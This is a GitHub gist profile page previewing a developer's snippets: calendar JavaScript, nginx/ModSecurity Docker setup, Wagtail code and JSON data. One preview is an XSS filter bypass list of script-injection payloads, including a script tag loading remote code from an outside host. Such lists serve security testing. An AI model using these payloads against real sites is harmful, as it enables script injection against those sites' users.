Skip to content

Instantly share code, notes, and snippets.

View hazho's full-sized avatar
😃
always Busy

Hazho Human hazho

😃
always Busy
  • JavaScript & Python Developer
  • Kuala Lumpur, Malaysia
View GitHub Profile
@hazho
hazho / OP.py
Created January 24, 2023 19:28
a simple OP using pyiodc (oic)
#!/usr/bin/env python
import json
import os
import re
import sys
import traceback
from exceptions import AttributeError
from exceptions import Exception
from exceptions import IndexError
from exceptions import KeyboardInterrupt
@hazho
hazho / DataTypes.json
Last active March 2, 2023 08:54
questions to clarify the requirements
{
"Provided_Information":
{
"ecg": true,
"floorplan": true,
"video": true,
"dar": true,
"doorcode": false,
"audio_stream": false,
"recue_sheet": true,
@hazho
hazho / CountryCodes.json
Created October 5, 2022 17:12 — forked from aibrahim3546/CountryCodes.json
Country and Dial or Phone codes in JSON format
[
{
"name": "Afghanistan",
"dial_code": "+93",
"code": "AF"
},
{
"name": "Aland Islands",
"dial_code": "+358",
"code": "AX"
@hazho
hazho / calendarDates.js
Created October 5, 2022 17:12 — forked from aibrahim3546/calendarDates.js
javascript code to generate calendar. By using this you can create your own customized calendar UI.
const daysInMonth = (iYear, iMonth) => 32 - new Date(iYear, iMonth, 32).getDate()
const months = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']
const getSelectedMonthDates = (selectedYear, selectedMonth) => {
const calendarDates = []
const firstDay = (new Date(selectedYear, selectedMonth)).getDay() // 0 = 'Sunday', 6 = 'Saturday'
const days = daysInMonth(selectedYear, selectedMonth) // how many days in a month
let x = 0
@hazho
hazho / customCalendar.js
Created October 5, 2022 17:11 — forked from aibrahim3546/customCalendar.js
Gist containing code for creating custom calendar in react using hooks.
import React, { useState, useEffect } from 'react';
import styled from 'styled-components'
const { datesGenerator } = require('dates-generator');
const months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
const days = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']
const Container = styled.div`
width: 300px;
border: 1px solid black;
@hazho
hazho / nginx.conf
Created September 27, 2022 16:15 — forked from vijaynallagatla/nginx.conf
NGINX:v1.17.0 With modSecurity:v3.0.0 and Brotli Custom Docker Image for Production
worker_processes auto;
worker_rlimit_core 500M;
events {
accept_mutex off;
worker_connections 1024;
multi_accept on;
use epoll;
}
http {
# MIME
@hazho
hazho / Dockerfile
Created September 27, 2022 16:15 — forked from vijaynallagatla/Dockerfile
Creating Docker Image to include ModSecurity:3.0.0 and Brotli
FROM ubuntu:18.04 as modsecurity-build
LABEL maintainer="Vijay <[email protected]>"
# Install Prereqs
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get update -qq && \
apt install -qq -y --no-install-recommends --no-install-suggests \
ca-certificates \
automake \
autoconf \
@hazho
hazho / block.py
Created August 16, 2022 15:19
Hierarchic Custom Pages Menu
'''
other blocks ...
'''
class CustomPagesMenuBlock(StructBlock):
menus=ListBlock(StructBlock([
("pg", PageChooserBlock(default=None, blank=True, null=True, required=False, label="Menu", help = "height for this video embed object")),
("children", ListBlock(StructBlock([
("pg", PageChooserBlock(default=None, blank=True, null=True, required=False, label="Sub-Menu")),
("children", ListBlock(StructBlock([
("pg", PageChooserBlock(default=None, blank=True, null=True, required=False, label="Sub-Sub-Menu")),
@hazho
hazho / xxsfilterbypass.lst
Created July 2, 2022 19:07 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@hazho
hazho / models.py
Created June 2, 2022 21:31
Testing the upgrading to wagtail version 3
class HHFormBuilder(FormBuilder):
def create_image_field(self, field, options):
return WagtailImageField(**options)
class HHFormSubmission(AbstractFormSubmission):
user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, null=True)
def get_data(self):